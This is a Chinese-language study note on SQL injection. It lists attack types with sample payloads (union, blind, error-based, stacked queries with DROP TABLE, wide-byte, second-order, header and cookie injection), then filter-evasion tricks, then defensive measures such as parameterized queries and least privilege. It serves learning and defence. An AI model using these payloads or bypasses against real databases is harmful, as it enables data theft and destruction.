原则上是对数据库进行操作,从而获取敏感信息,进行敏感操作。
1 攻击类型
1.1 联合查询
通过union联合查询所需内容
SELECT id, name FROM users WHERE id = 1 UNION SELECT 1, 'admin'-- ;
1.2 盲注
布尔盲注(看页面是否回显正常内容):
SELECT id, name FROM users WHERE id = 1 AND 1=1-- ; -- 这将返回结果
SELECT id, name FROM users WHERE id = 1 AND 1=2-- ; -- 这将不返回结果
布尔盲注(看页面的响应时间):
SELECT id, name FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0)-- ; -- 这将延迟5秒
1.3 报错注入(页面有报错信息)
extractvalue
SELECT extractvalue(1, CONCAT(0x3a, (SELECT database()), 0x3a));
floor
SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) FROM INFORMATION_SCHEMA.TABLES GROUP BY FLOOR(RAND(0)*2);
updatexml
SELECT updatexml(1, CONCAT(0x3a, (SELECT database()), 0x3a), 1);
1.4 堆叠注入
SELECT id, name FROM users WHERE id = 1; DROP TABLE users-- ;
1.5 宽字节注入
SELECT id, name FROM users WHERE id = 1 AND name = 'admin' %df' -- ;
1.6 二次注入
第一次:
INSERT INTO users (username) VALUES ('admin'); DROP TABLE users--');
第二次:
SELECT * FROM users WHERE username = 'admin'; DROP TABLE users-- ';
1.7 User-Agent注入
User-Agent: ' UNION SELECT 1, @@version-- ;
1.8 Cookie注入
Cookie: session=' OR 1=1-- ;
2 绕过手法
2.1 双写、大小写
将UNION
写成uNiOn
或UUNNIONION
2.2 空格 and or 逗号
空格使用%20url编码,%09tab水平制表符,%0btab垂直制表符,%0a下一行,%0c新一页,%a0空,/**/,/*!/(使用注释和不注释也可以代替空格)
and:&&
or:||
逗号:substr,mid,join,like,limit,limit offset
2.3 大于、小于、等于
等于被过滤时,可以使用!(a<>b)进行绕过,也可以使用in绕过,greatest,least函数求出最大最小值与前面的绕过方式结合,
2.4 引号
宽字节注入,编码,转义字符\,二次注入
2.5 常见函数被过滤,使用不常见函数
例如,用CHAR()
函数代替直接输入字符。benchmark()代替sleep(),left(),right()代替substr()
2.6 多重编码
使用URL编码、Base64编码等。
2.8 多参数拆分
使用注释
2.9 无列名注入
使用information_schema
使用sys.schema_auto_increment_columns查询到表名后,使用join内联爆出列名,然后使用using写入爆出来的列名,达到获取所有列名
3 防御措施
3.1 参数化查询和预编译语句
使用?代替参数
3.2 使用数据库的存储过程
通过参数传递数据,减少直接编写sql查询的机会
3.3 输入验证和清理
对用户输入进行严格的验证和清理,确保输入符合预期格式
使用正则表达式,严格检查输入,需要提前定义
3.4 最小权限原则
为应用程序使用的数据库账户授予最低权限,确保即使发生sql注入,攻击者也无法进行破坏性操作
3.5 数据库错误处理
避免将数据库的错误信息直接暴露给用户,防止攻击者通过错误信息判断或推断数据库的结构
当语句发生错误时,不将错误信息展示在页面中,精心制作错误信息,使用try except
例如:An error occurred
3.6 使用ORM(对象关系映射)
通过高级抽象层,减少直接编写sql查询的需求,降低注入风险
java中有mybatis-plus,其它语言中也有类似的框架
3.7 启用数据库的安全功能
许多数据库提供了内置的安全功能
在 MySQL 中启用 NO_BACKSLASH_ESCAPES
模式
SET sql_mode = 'NO_BACKSLASH_ESCAPES';